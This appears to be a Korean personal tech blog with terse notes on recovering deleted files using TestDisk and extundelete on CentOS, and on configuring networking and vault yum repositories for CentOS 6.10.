파티션 작업에 대한 내용

Analise

Quick Search

엔터

Write

y 입력 후 엔터

Quick 나간다

Quick

나왔다

밖에서 아무 사진 선택후 다른이름으로 저장한다

다운로드 밑으로 드레그

삭제한다

복원한다

다시 testdisk 들어간다.

b 눌러서 save settinh

q 로 화면 나가기

search 에서 엔터

ㄴ

엔터

whole 엔터

저장위치는

CentOS Extended Data 복원

금홍자 — Wed, 29 Sep 2021 10:21:52 +0900

1gb HDD 달고 머신 부팅시 partition & format 수행한다.

참고로 yum -y update 한 상태이다.

필요한 package 설치한다.

epel release 설치 된 상태이니 바로

yum -y install extundelete

work dir 를 읽기전용 ro 로 mount 시킨다

df -hT /work

ro 라서 삭제 못하는 것 확인

umount 로 내리고 다시 mount 후 tester.ext 파일 삭제한다.

삭제된 파일과 dir 복원하는 여러 옵션들

전체 --restore-all (모든 file 과 dir 복원)

특정 파일 --restore-file /work/tester.ext

여러 파일 (지정) --restore-files /work/tester.ext install.log

dir 복원은 --restore-directory /work/ABC

가장 편한 --restore-all 옵션을 사용해 복원한다

# extundelete /dev/sdb1 --restore-all

유명한 건 아니지만 굉장히 쓸모있는 도구이다.

CentOS 네트워크 설정 (수정중)

금홍자 — Wed, 29 Sep 2021 09:13:13 +0900

정리

# setup ⇒ # nano /etc/sysconfig/network-scripts/ifcfg-eth0 확인 > vmware tools > tar xvfz > perl -d ⇒ reboot ⇒ nano /etc/yum.repos.d/CentOS-Base.repo (base url 추가)

terminal 데스크탑에 꺼낸다

Applications > System Tools > Terminal

ifconfig 명령어로 network 이름 (eth0) 확인

setup 하면 파일에 다 반영되니 되도록 setup 으로 초기 네트워크 설정한다.

# setup

vmware tools 설치

# nano /etc/yum.repos.d/CentOS-Base.repo 각 항목별로 붙여넣는다

base는 baseurl=https://vault.centos.org/6.10/os/x86_64/

updates는 baseurl=http://vault.centos.org/6.10/updates/x86_64/

extra는 baseurl=http://vault.centos.org/6.10/extras/x86_64/내용이다.

키를 넣어준다

# rpm --import /etc/pki/rpm-gpg/RPM*

제일 중요한 epel.repo 설치

# yum -y install epel-release

# yum --disablerepo="epel" update nss -y

설치하면 잘 작동된다.

추가적으로 설치해주면 좋다

# yum -y install gcc-c++ make

RPM* 에 대한 key 가 들어있는 곳임

확인 ㅣ epel 이 들어가있음

⇒ scp root@192.168.100.128:/etc/host/ /etc/hosts